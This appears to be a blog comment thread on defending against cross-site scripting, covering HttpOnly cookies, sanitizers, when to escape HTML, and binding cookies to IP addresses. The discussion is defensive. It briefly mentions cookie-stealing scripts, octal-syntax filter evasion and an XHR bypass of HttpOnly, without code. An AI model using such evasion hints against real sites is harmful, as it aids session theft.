Protecting Your Cookies: HttpOnly

MAS, inherently, if you trust a site to run Javascript on your machine for advanced features, you’re trusting them to stay in control of their content. Filters are being added to newer browsers, but I don’t expect these intelligent blacklists to be very effective.

For sites you don’t trust, Firefox NoScript extension is solid web security–it disables rich content unless you explicitly enable it for a domain. You still have to decide whether to trust sites like Stack Overflow, but a lot of sites are still useful without Javascript. (I haven’t enabled Coding Horror, for example.)

XSS filters: http://blogs.technet.com/swi/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx
NoScript: https://addons.mozilla.org/en-US/firefox/addon/722

Giving up is lame? Well, I don’t want to be lame! So there’s no way I’ll give up on my reimplementation of the OS, compiler, web browser, and I won’t even consider giving up on the rewrite of everything I’ve ever done!

Also, giving up is lame is the worst excuse I’ve ever heard for the not invented here syndrom. Noone said software is a crime against humanity - but it’s actualy not always necessary or appropriate to write everything from scratch.

Most of the time when you accept input from the user the very first thing you do is pass it through a HTML encoder.

I don’t know if you worded this poorly or if this is actually what you’re doing. But that’s not the first thing you do when you accept input. It’s the last thing you do before you output said input to a HTML page.

If you wrote this blog software that way then that’s probably why Andy’s link is garbled up above.

Following on from my last comment:

If you wrote this blog software that way then that’s probably why Andy’s link is garbled up above.

Nah. You should be using proper templating engine that doesn’t allow leaking of data into markup (e.g. XSLT or TAL)

That’s what you get for posting your sanitizer on refactormycode then. Closed source wins! :wink: j/k

I don’t get it. You had a sanitizer, yet somehow those angle brackets weren’t encoded by it? How can a search-and-replace fail?

That’s what Regex is for, isn’t it?

There’s no way that the above input would pass my Regex filters, which obviously contains /?script. Be sure to check for octal syntax as well, because that’s much harder but equally valid.

So, some guy out there has stolen the identities of everyone trying the SO beta?

No, we just improved it. That’s how code evolves. Giving up is lame.

Please share the code.

Firefox has a bug and cookies are still dangerous. What else is new?

When will somebody break down and fix the Internet (create a new one)? Probably when somebody breaks down and creates a new engine that is better than gasoline.

The ideas and the resources are there, but how can you change something billions of people are already benefitting from?

It’s an excellent idea, and provides a bit of secondary protection if you’re not confident you’ve eliminated all the XSS vulnerabilities. But unfortunately the XHR workaround you provided renders it completely worthless.

It’s always nice to hear about obscure things like that (especially when written so eloquently), but that’s not a useful security measure. Even the 10 minutes it would take to implement it would be better spent checking your code for potential problems.

So, where’s the post on what exactly was wrong with the html sanitizer and how exactly you fixed it? Or is that too narrow focus for the blog. :slight_smile:

@bex you just screwed anyone who sits behind a proxy server. IP alone isn’t enough, and your web server is too high a layer to be effective at spotting all the ways to spoof.

With a site like SO, it’s going to be far more difficult to build a sanitizer, because there will be legitimate content, etc, that has script blah tags. That in itself is a reason to create your own markup syntax (or borrow wiki’s) because that way it’s easier to verify and reject content without losing sight of the trees for the forest.

With normal punter content, I strip anything remotely looking like markup because it’s not in the spec. Also most users want to use angle brackets in their normal sense, so a dead simple catch-anything is just encode all angle brackets and ampersands and store it that way. . Spec changes and they want links, allow it via something like BBCode , my sanitizer doesn’t need to change, and I can validate/display only what I want to allow.

I still say that HTML/XML creators made one of the biggest WTF’s by reuse of ultra-common symbols as the basis for the one format to rule them all.

As a final point, it’s really hard when you have a small team trying to thwart a legion of bored 16 year old’s. In some ways it’s good, because DRM will never succeed because of them, in other ways it sucks when you’re trying to figure out what some little script kiddie did to deface your site.

@omalley

Also most users want to use angle brackets in their normal sense, so a dead simple catch-anything is just encode all angle brackets and ampersands and store it that way.

If you’re also creating your final HTML files when you store it then OK. Otherwise you’re doing this the wrong way around. Read my comments above, as well as others’.

You want to escape for HTML only when the data is being put into a HTML document.

Similarly, you want to escape for SQL when the data is being put into an SQL query.

In normal circumstances, you don’t STORE the escaped data.

I’m not sure he understood the implications, as he was quick to dismiss it as slowing down the average script kiddie for 15 seconds.

He was right. Instead of stealing document.cookie, xss.js could have set up a proxy/shell/tunnel allowing the attacker to take advantage of your friend’s site using his own browser.

@correct, it all depends, and I don’t see the problem with storing escaped data. It’s a space tradeoff I’m willing to make, but where I feel the penalty for failure is less severe. I’m pessimistic and nowhere near perfect, so I will forget now and again despite best efforts.

If you don’t allow unsafe characters, then just completely remove them from input. Done

If you do allow unsafe characters, there are two scenario’s

  1. you store user input verbatim, and you always remember to escape when displaying output, and you hope input cleaning works 100%.
  2. you store user input escaped, and you need to remember to unescape when your user is editing.

Penalty for failing in (1) - where you forget to escape, you expose your users to xss, etc.
Penalty for failing in (2) - editable has your escaped content lt; gt; amp; etc. - looks stupid, but still safe.

Performance penalty in (1) is continual escaping on every view.
Performance penalty in (2) is only escaping / unescaping when edited.

(2) isn’t perfect, but I’ll take the hit, trusting the team to get the few edit scenarios correct versus the 100’s of view scenario’s correct. I call it err’ing on the side of caution.

Is there something I’ve overlooked? What is your objection to storing escaped data?

Restricting your cookie based on IP address is a bad idea; for two reasons:

An IP address can potentially have a LOT of users behind it, through NAT and the likes. There’s even a few ISPs that I’ve known to do this.

And secondly, your site breaks horribly for users behind load balancing proxies (larger organisations, or even the tor anonymising proxy).

Anyone remember when Yahoo! messenger used to allow javascript (through IE i guess)? I used to type simple little bits like instant unlimited new windows or alerts to mess with my friends… thinking back on that, that’s just scary!

On the same subject from a J2EE perspective

http://gustlik.wordpress.com/2008/06/20/cross-site-scripting-and-httponly-attribute/